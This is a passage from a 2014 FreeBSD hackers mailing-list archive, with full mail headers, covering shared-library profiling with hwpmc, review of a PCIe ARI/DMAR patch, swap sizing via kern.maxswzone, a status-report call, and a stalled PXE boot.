14:07:33 +0000 (UTC) Received: by mail-ob0-f176.google.com with SMTP id wp18so7894925obc.7 for ; Sun, 30 Mar 2014 07:07:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; bh=Xa0yB+4JgArHSwinHQN8w0sJIssbfrPAo6SsQHU4mVU=; b=O9aDYrzuqdQ7lWtNq6DE3bbdNGmD2x9PgenNIP3FCqbSIxYQLE5GJ0E0AudJxhzHi2 mMlF0W20FGiKsQBIfaE/7i/8vepyi8/hQqB90ZJF5YJaaKINTBWsziIcdXqW+Od5JT0H IYkVUDmDhHd21LIIATzu8sjKTG0/uuhD1m7abrLPRlY3WqW1HsD2NTNhBzeQCjmda4Qj RPoiu//B5qKX/tEehQdNfs8UfvW/AeDzzQDwuAl6162Z3iKDuwi1x5Dy5Tjk8OKRzbXW S7bTCPc7xflB1pSqx6MPIK4R/5cW+bdriI804bZL79Xc/RtR8cXM0PprF9p5YKuiTlqO VniQ== MIME-Version: 1.0 X-Received: by 10.182.192.40 with SMTP id hd8mr520400obc.50.1396188453208; Sun, 30 Mar 2014 07:07:33 -0700 (PDT) Received: by 10.76.7.199 with HTTP; Sun, 30 Mar 2014 07:07:33 -0700 (PDT) In-Reply-To: <363F98EE-AF54-475D-AF4A-F99BD3D3CCF9@gsoft.com.au> References: <363F98EE-AF54-475D-AF4A-F99BD3D3CCF9@gsoft.com.au> Date: Sun, 30 Mar 2014 10:07:33 -0400 Message-ID: Subject: Re: Profiling shared libraries From: Ryan Stone To: "Daniel O'Connor" Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 14:07:34 -0000 On Sat, Mar 29, 2014 at 10:43 PM, Daniel O'Connor w= rote: > Hi, > I have a shared library which is loaded into a Tcl interpreter and also l= oads submodules and I would like to profile it. Unfortunately it seems gpro= f does not grok shared libraries. I did some googling and it look like Linu= x has sprof for this but I can't see a port for FreeBSD. > > Does anyone have any other ideas? > I have looked at DTrace but it's a bit fiddly to get working with my syst= ems in the field so I'd prefer a pure userland solution if possible. > > Thanks hwpmc can do it: kldload hwpmc pmcstat -S unhalted-cycles -O /tmp/samples.out sleep 10 pmcstat -R /tmp/samples.out -G /tmp/callgraph.txt From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 14:29:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 29828706 for ; Sun, 30 Mar 2014 14:29:28 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 8350A398 for ; Sun, 30 Mar 2014 14:29:27 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2UETI7E006955; Sun, 30 Mar 2014 17:29:18 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2UETI7E006955 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2UETI8v006954; Sun, 30 Mar 2014 17:29:18 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Sun, 30 Mar 2014 17:29:18 +0300 From: Konstantin Belousov To: Ryan Stone Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) Message-ID: <20140330142918.GF21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> <20140325211355.GG21331@kib.kiev.ua> <20140328133529.GV21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="BRF4e1IEQp0HoEFj" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: "freebsd-hackers@freebsd.org" , Neel Natu X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 14:29:28 -0000 --BRF4e1IEQp0HoEFj Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Mar 28, 2014 at 10:18:33AM -0400, Ryan Stone wrote: > On Fri, Mar 28, 2014 at 9:35 AM, Konstantin Belousov > wrote: > > What is the URL ? >=20 > http://people.freebsd.org/~rstone/patches/ari/0002-Re-implement-the-DMAR-= I-O-MMU-code-in-terms-of-PCI-R.patch I like this patch. One, trivial note, you do not need () there: + ctxp +=3D (ctx->rid & 0xff); --BRF4e1IEQp0HoEFj Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTOCo9AAoJEJDCuSvBvK1BH+QP/2Aue/Ndws8BMBYlgYorgOOI m1ZnhZ3xIgXUSkQTbBAJvPeiUJJTQLvONfJlyVw8EaMYsNEtTGkaWaI5c3FAPOdM yc45qtNwNP7hjDU8Lm5PGszP8IA+MDUBQUZp9aexWuuqm06brEFLVQToPuzb7AT+ 3xEZW8C2P4xWhbgQXuz4mOqPRuugYhKLkl0oRJR4hnNDyvpyMiCAsqh7W1TsOhMa IH4S/rvYgA5zftgxPkAtnkw0UWAkaFYN97QjwP6DAL5z54vdD/UpdoLOfNKkKTyC Gakr36m+1DVIbrspFx5WGbXzZyc28wkmHB5bCIRLoPNGK0ceqDY/im6GI79ahOsG ynqcfSa67MLX3rqaz8plvivLyt4fySFNv7kdJ8Tiylqe11RoTCc6bt6CkMD+Etbh PzYPEtSaZCgZGedHrV4CFYdNJbyI770ssUhhA/K/rVpHPRcWtALMib6AQ5aSZQ1V phvTUWQAxckUb1xE1zCkl2xr+65E/FgbZT9mVLna2xQCMRr4JpCWsYKIPWgifdoO tf2bY3tKbRtPEvz5jS10J4cmbmNzF7rSYRbl1QxKQ3KbPx9ttwbM1XEti0A5zYgL 4lIKKtHrwpgOY2AgkF/ZgX2+ZkWla+Sz+SP1ZBY4v/duVt54tzYJ7A0ITWmAuUD3 50RUnqHmaVZvvLdz3Xdg =ihBl -----END PGP SIGNATURE----- --BRF4e1IEQp0HoEFj-- From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 19:43:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DA7AB513 for ; Sun, 30 Mar 2014 19:43:24 +0000 (UTC) Received: from mail-oa0-x22e.google.com (mail-oa0-x22e.google.com [IPv6:2607:f8b0:4003:c02::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 9EE8526B for ; Sun, 30 Mar 2014 19:43:24 +0000 (UTC) Received: by mail-oa0-f46.google.com with SMTP id i7so8392961oag.33 for ; Sun, 30 Mar 2014 12:43:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=NiHssYvx55MqsAGHJQdrKniX0dWZErcXLhxxnIFy3PM=; b=edPue3XE7dMRmaUD0Cl38n8h+6E5OBkmnQ41gSf6OjN/xRitRj7dxBadiUVvu1/Cdm +w0nS3OKjAa8VkqSja5K4VAlUHbYmbYGbXCEryxzNyDh+81z5mAh7S7s8w8MohS6AAVo BhcHtRMTYQxHYI7F68+pnAoGrQFNUl1A2WDCFRaQmU7iN5TW5XbFC+XyHo8q/5xTsvf/ 2kM6YJBlgPkgwTj8XzWDu6uLTNkXFjFSkRChq5IVqoVB0ia29R1aRkQlVMocJh/LlzS4 3HLf3PMsEkEqCjOWYF527vPhOkEj5QmVR02C/ZLGBgguZDd5Z49ajFWBrW9Ot6RpsbP6 xVdg== MIME-Version: 1.0 X-Received: by 10.60.34.130 with SMTP id z2mr17931690oei.14.1396208603864; Sun, 30 Mar 2014 12:43:23 -0700 (PDT) Received: by 10.76.7.199 with HTTP; Sun, 30 Mar 2014 12:43:23 -0700 (PDT) In-Reply-To: <20140330142918.GF21331@kib.kiev.ua> References: <20140316141216.GA21331@kib.kiev.ua> <20140319140236.GM21331@kib.kiev.ua> <20140325211355.GG21331@kib.kiev.ua> <20140328133529.GV21331@kib.kiev.ua> <20140330142918.GF21331@kib.kiev.ua> Date: Sun, 30 Mar 2014 15:43:23 -0400 Message-ID: Subject: Re: [PATCH] Support PCIe Alternative RID Interpretation (ARI) From: Ryan Stone To: Konstantin Belousov Content-Type: text/plain; charset=ISO-8859-1 Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 19:43:24 -0000 On Sun, Mar 30, 2014 at 10:29 AM, Konstantin Belousov wrote: >> http://people.freebsd.org/~rstone/patches/ari/0002-Re-implement-the-DMAR-I-O-MMU-code-in-terms-of-PCI-R.patch > > I like this patch. > > One, trivial note, you do not need () there: > + ctxp += (ctx->rid & 0xff); > Done. Unfortunately I had to re-write it a bit to account for the changes in r263306. Mostly it was trivial, but there's one thing that I wasn't sure how best to handle. busdma_dmar.c currently calls dmar_bus_dma_is_dev_disabled with the bus/slot/function provided by dmar_get_requestor. That no longer works now that I've made the code be based on RIDs. What the patch currently does is use the bus/slot/function from the requester device. I think that's a little cleaner anyway because in one case the current code fakes up a slot and function. Using those values in the UI for forcing DMAR off for a device feels wrong to me (and difficult to document). However, my behaviour of forcing users to manually walk up the PCI tree to find the PCIe-PCI bridge is not really all that much better. If you have ideas here please let me know. The current version of the patch is in the same location. From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 30 20:30:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 78F024BC for ; Sun, 30 Mar 2014 20:30:34 +0000 (UTC) Received: from mail-we0-x22a.google.com (mail-we0-x22a.google.com [IPv6:2a00:1450:400c:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 10CD3819 for ; Sun, 30 Mar 2014 20:30:33 +0000 (UTC) Received: by mail-we0-f170.google.com with SMTP id w61so4018786wes.1 for ; Sun, 30 Mar 2014 13:30:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=date:from:to:subject:message-id:in-reply-to:references:mime-version :content-type:content-transfer-encoding; bh=QIHvapwooPxM0fmW1QmV/1FIu89ke3Dr5nlZqogXuYc=; b=0/jVgPYrsZgPtmAl8V0bA+e5Or3YfCbRc/2sEVLSn60o+y8jkZxz8D2M76VNYUUhcS CDvblfUStYgU2jaRtUjKSxfo3GpBkPW7JBVVzVEEKdMXwBipNO7Ri6DykO7BmzESQyRu ZioSRSYnvN92+RKN/9pGaLQNa4l6DJ4elWDfcyppHSEJuHOmb8bxz5dy8ZKjBTF/pN31 IIWX/TGlrSz8eAUCSDvc9vRq00ZlIjCpk8OL5NsURMCAYcQ/Gbd351wmtgeS66nuJ/ef rkRGkLs5tQSyci3TzoBGlpcJ+SxNuVj8pjp+iFnDc2+a3sfI9hi7+HHLFkkI/m840jHa olqw== X-Received: by 10.194.174.197 with SMTP id bu5mr497989wjc.71.1396211432310; Sun, 30 Mar 2014 13:30:32 -0700 (PDT) Received: from gumby.homeunix.com (5ec2dcc4.skybroadband.com. [94.194.220.196]) by mx.google.com with ESMTPSA id cl9sm9347210wjc.25.2014.03.30.13.30.30 for (version=SSLv3 cipher=RC4-SHA bits=128/128); Sun, 30 Mar 2014 13:30:31 -0700 (PDT) Date: Sun, 30 Mar 2014 21:30:28 +0100 From: RW To: freebsd-hackers@freebsd.org Subject: Re: kern.maxswzone Message-ID: <20140330213028.261022f4@gumby.homeunix.com> In-Reply-To: References: X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 30 Mar 2014 20:30:34 -0000 On Fri, 7 Mar 2014 21:57:05 +0100 (CET) Wojciech Puchar wrote: > i configured 4.7GB swap on 512MB computer and i see in logs > > warning: total configured swap (1249880 pages) exceeds maximum > recommended amount (986496 pages). warning: increase kern.maxswzone > or reduce amount of swap. > > > fine, but after increasing maxswzone to 60000000 from less than 40 > millions of default, no difference in message kern.maxswzone can only be used to reduce the space used below the default, not increase it. According to loader(8) the default allows for a swap size of 8x ram. However, it's not an exact calculation, and there is a safety margin, so you may be OK if you ignore the warning. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 07:16:35 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B413F84C; Mon, 31 Mar 2014 07:16:35 +0000 (UTC) Received: from mail-oa0-x231.google.com (mail-oa0-x231.google.com [IPv6:2607:f8b0:4003:c02::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 6612F272; Mon, 31 Mar 2014 07:16:35 +0000 (UTC) Received: by mail-oa0-f49.google.com with SMTP id h16so8801484oag.22 for ; Mon, 31 Mar 2014 00:16:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:content-type; bh=+6UL06NkUE9X0tubR5og8DfeSkGTGkLtlYXHWP4vSRU=; b=HXZ2GRBZrpl6PCBWaK2+jurRR2G6OzlVIRDr1yDCfQmgcn7ESd1hBWnf1iWOJCBgVX PH/v9XISRuCMM2rxm6VwNVhnSrFa73vxwR9ZSsklG5riXJGFpF8z5rZqgyCIIxy6HXYV R+igb02vq5QTLdPN5zQBj5u6dqSDmfCWpqx7IbDeaeU9Ar9p6TsMVP2z6KOGKgZClM07 aCtkFQQZUpS0DWz6+lONefvqUjsQ6kAakWi6zB1zUgcaRXmIClixf9SgRbfsCpzufBmb J0aSTeX/u7jaTcEVKnHWp2MsNfevbEuvws+QNC5TCsRz5z6aQNekuYui0+o+S4L72MfV 7cOQ== MIME-Version: 1.0 X-Received: by 10.182.22.18 with SMTP id z18mr783930obe.42.1396250193612; Mon, 31 Mar 2014 00:16:33 -0700 (PDT) Sender: pali.gabor@gmail.com Received: by 10.182.22.44 with HTTP; Mon, 31 Mar 2014 00:16:33 -0700 (PDT) In-Reply-To: References: Date: Mon, 31 Mar 2014 09:16:33 +0200 X-Google-Sender-Auth: 8ap-4m2zcCGDu4Eht2OsSp1qfBg Message-ID: Subject: Re: Call for FreeBSD 2014Q1 (January-March) Status Reports From: Gabor Pali To: hackers@freebsd.org, current@freebsd.org, FreeBSD Ports Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 07:16:35 -0000 Dear FreeBSD Community, Please note that the submission date for the 2014Q1 aka. January to March 2014 Quarterly Status Reports is, April 7th, 2014, only 1 week away. Please consult my earlier message for the details: 2014-03-08 10:24 GMT+01:00 Gabor Pali : > They do not have to be very long -- basically they may be about > anything that lets people know what is going on around the FreeBSD > Project. Submission of reports is not restricted to committers: > Anyone who is doing anything interesting and FreeBSD-related can (and > therefore encouraged to) write one! > > The preferred and easiest submission method is to use the XML > generator [1] with the result emailed as an attachment to us, that is, > monthly@FreeBSD.org [2]. There is also an XML template [3] which can > be filled out manually and attached if preferred. For the expected > content and style, please study our guidelines on how to write a good > status report [4]. If you are still unsure what constitutes a good > status report, check out the last issue [5]. > > To enable compilation and publication of the quarterly report as soon > as possible for the April 7th deadline, please be prompt with any > report submissions you may have. > > We are looking forward to all of your 2014Q1 reports! > > Thanks, > Gabor > > > [1] http://www.freebsd.org/cgi/monthly.cgi > [2] mailto:monthly@freebsd.org > [3] http://www.freebsd.org/news/status/report-sample.xml > [4] http://www.freebsd.org/news/status/howto.html > [5] http://www.freebsd.org/news/status/report-2013-10-2013-12.html From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 11:54:52 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D4285FC2 for ; Mon, 31 Mar 2014 11:54:52 +0000 (UTC) Received: from mail-pa0-x230.google.com (mail-pa0-x230.google.com [IPv6:2607:f8b0:400e:c03::230]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id AF8B9176 for ; Mon, 31 Mar 2014 11:54:52 +0000 (UTC) Received: by mail-pa0-f48.google.com with SMTP id hz1so8084858pad.21 for ; Mon, 31 Mar 2014 04:54:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=Za//3SIS+k/VDluNqgK2fhvbXIKEGC1WwYVpC29zFpA=; b=f+kiTHyHKurQnMB+wt2Jp2Pd6OuSIXsodWPlIZ/N3mSxkfj+alkur6ed/aDUYFFsdt 5OTbme1xv2xq86JciNiUaEVoDZWz0PmSZblfzrQr3CsBy7IZYNH/4DPIFHPCkK0D6Mwi mwJYDQ9OMDStW9kgo/diClO9KONuKSAFoBbq401vTH+ltk8gN/tFr84AQFnAwWt/aXoY jqEENyvcO9pt2noZtBuyfwDdA+S6FSbXp2hIcnU3NKthNVTcF7nJLn9cAqjyqMRuXGOx hFIn4k1XP8+DyPrlITxGSs7w/KYrIgyuEn+jE7/xfc/O+kkGjS3ZlIz4s4WapxNH5hop ZqSg== MIME-Version: 1.0 X-Received: by 10.69.2.2 with SMTP id bk2mr24596070pbd.75.1396266892328; Mon, 31 Mar 2014 04:54:52 -0700 (PDT) Received: by 10.70.89.33 with HTTP; Mon, 31 Mar 2014 04:54:52 -0700 (PDT) Date: Mon, 31 Mar 2014 13:54:52 +0200 Message-ID: Subject: FreeBSD boot stops From: amine tay To: hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 11:54:52 -0000 Hi every one, When i'm trying to pxe boot FreeBSD 9.1, the pxeboot display the lines bellow : : Building the boot loader arguments Looking up /BOOT/LOADER... Found Relocating the loader and the BTX Starting the BTX loader BTX loader 1.00 BTX version is 1.02 Consoles: internal video/keyboard BIOS CD is cd0 BIOS drive C: is disk0 BIOS drive D: is disk1 BIOS 636kB/261056kB available memory FreeBSD/i386 bootstrap loader, Revision 1.1 But it stops here and I'm not getting the : pxe open : server addr or Loading /boot/defaults/loader.conf /boot/kernel/kernel text=0x64daa0 data=0xa4e80+0xa9e40 syms=[0x4+0x6cac0+0x4+0x88e9d] \ Any help ? Thank you. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 12:08:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 895466FD for ; Mon, 31 Mar 2014 12:08:59 +0000 (UTC) Received: from mail-pd0-x22d.google.com (mail-pd0-x22d.google.com [IPv6:2607:f8b0:400e:c02::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 641B82D2 for ; Mon, 31 Mar 2014 12:08:59 +0000 (UTC) Received: by mail-pd0-f173.google.com with SMTP id z10so7910267pdj.32 for ; Mon, 31 Mar 2014 05:08:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=I4FnJqYOlUX6SN8QXOGcUt/g8t4pRZ265+36AAYIgxE=; b=lxIwp5hY5NsTjEeDqCzARLf7gxHQW//ENp3OBpwaMdG69rmhqqaCTps0cpDWlIlAKX al7jiUsBegqxAO6zOM6o/95H6QhQDXpD+5W/nGGAlZ11XhzQTEoF0sb+JRuZwqxV8t3z ERxoOvN+nN5myjvB+u2SW/feLE4glEZdirNCaHObje+dPVjvTUU3n1ZN2QmuYNQxxhNR jqrNT3u+rzwjVUwStIlD0KmEP/AzNzhL7Q91U2AebfMKQ4E53XcKXRtej0Jb3JV9qmwF q2PGI8zKpbD8q4Q6FjkCmP8FA6EwMRSFF13ScaOv8ilcHvCTOMfE6/4A3T7194tY+Ron +/lw== MIME-Version: 1.0 X-Received: by 10.68.234.2 with SMTP id ua2mr24847757pbc.81.1396267739088; Mon, 31 Mar 2014 05:08:59 -0700 (PDT) Received: by 10.70.89.33 with HTTP; Mon, 31 Mar 2014 05:08:59 -0700 (PDT) Date: Mon, 31 Mar 2014 14:08:59 +0200 Message-ID: Subject: Pxeboot stops From: amine tay To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 12:08:59 -0000 Hi every one, When i'm trying to pxe boot FreeBSD 9.1, the pxeboot display the lines bellow : Building the boot loader arguments Looking up /BOOT/LOADER... Found Relocating the loader and the BTX Starting the BTX loader BTX loader 1.00 BTX version is 1.02 Consoles: internal video/keyboard BIOS CD is cd0 BIOS drive C: is disk0 BIOS drive D: is disk1 BIOS 636kB/261056kB available memory FreeBSD/i386 bootstrap loader, Revision 1.1 But it stops here and I'm not getting the : pxe open : server addr or Loading /boot/defaults/loader.conf /boot/kernel/kernel text=0x64daa0 data=0xa4e80+0xa9e40 syms=[0x4+0x6cac0+0x4+0x88e9d] \ Any help ? Thank you. From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 12:56:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9C8AE618 for ; Mon, 31 Mar 2014 12:56:22 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 796279A2 for ; Mon, 31 Mar 2014 12:56:22 +0000 (UTC) Received: from [192.168.1.228] (c-24-6-179-71.hsd1.ca.comcast.net [24.6.179.71]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id F20411929C9; Mon, 31 Mar 2014 12:56:17 +0000 (UTC) Subject: Re: Pxeboot stops From: Sean Bruno To: amine tay In-Reply-To: References: Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-z0hM24jE6bWWm2kYgcoA" Date: Mon, 31 Mar 2014 05:56:16 -0700 Message-ID: <1396270576.1346.3.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 31 Mar 2014 12:56:22 -0000 --=-z0hM24jE6bWWm2kYgcoA Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable On Mon, 2014-03-31 at 14:08 +0200, amine tay wrote: > Hi every one, > When i'm trying to pxe boot FreeBSD 9.1, the pxeboot display the lines be= llow : > Building the boot loader arguments > Looking up /BOOT/LOADER... Found > Relocating the loader and the BTX > Starting the BTX loader >=20 > BTX loader 1.00 BTX version is 1.02 > Consoles: internal video/keyboard > BIOS CD is cd0 > BIOS drive C: is disk0 > BIOS drive D: is disk1 > BIOS 636kB/261056kB available memory >=20 > FreeBSD/i386 bootstrap loader, Revision 1.1 >=20 > But it stops here and I'm not getting the : >=20 > pxe open : server addr >=20 > or > Loading /boot/defaults/loader.conf > /boot/kernel/kernel text=3D0x64daa0 data=3D0xa4e80+0xa9e40 > syms=3D[0x4+0x6cac0+0x4+0x88e9d] > \ It looks like its switching consoles on you. Is this the video or serial console you have captured from? If its the serial console, then I suspect you need to setup the loader.conf with a comconsole entry. sean --=-z0hM24jE6bWWm2kYgcoA Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTOWXnAAoJEBkJRdwI6BaHhGgIAIHmHuHOKd40oaLfANoQbI6T atkb8kznHsCsD49gBZyEf/Dso01nuGxszWSuC+Qx2n3RkfYquF/Q1SFXA0mgvfks 92uhmGPViBfy9CMGPA3FOVbFZJX8Cr+52SlRNhXW0MJqxALvXqGOmqEdGknkbgF8 LJbyVcwGeR9ce0tgBCtavsOmMytelhjcPv1P70iPuSm6kVOk6Wvs+W6DYq55ZDwT LaI8rTqJ/w3Ht2gPtXvVpUfvF5V0ujoeDTXMGXKNhhoLK8K2BUc184HLaLoakXxA gUnZrHPgdS3pU36IWRI2atU9a/xIph0Tra8MJEfl1EGsrymm8Gcg7qVsoN6OLKc= =8JBf -----END PGP SIGNATURE----- --=-z0hM24jE6bWWm2kYgcoA-- From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 31 15:29:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B9C63DF0 for ; Mon, 31 Mar 2014 15:29:12 +0000 (UTC) Received: from mail-ob0-x235.google.com (mail-ob0-x235.google.com [IPv6:2607:f8b0:4003:c01::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 8324DCD4 for ; Mon, 31 Mar 2014 15:29:12 +0000 (UTC) Received: by mail-ob0-f181.google.com with SMTP id wp4so9361064obc.40 for ; Mon, 31 Mar 2014 08:29:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; 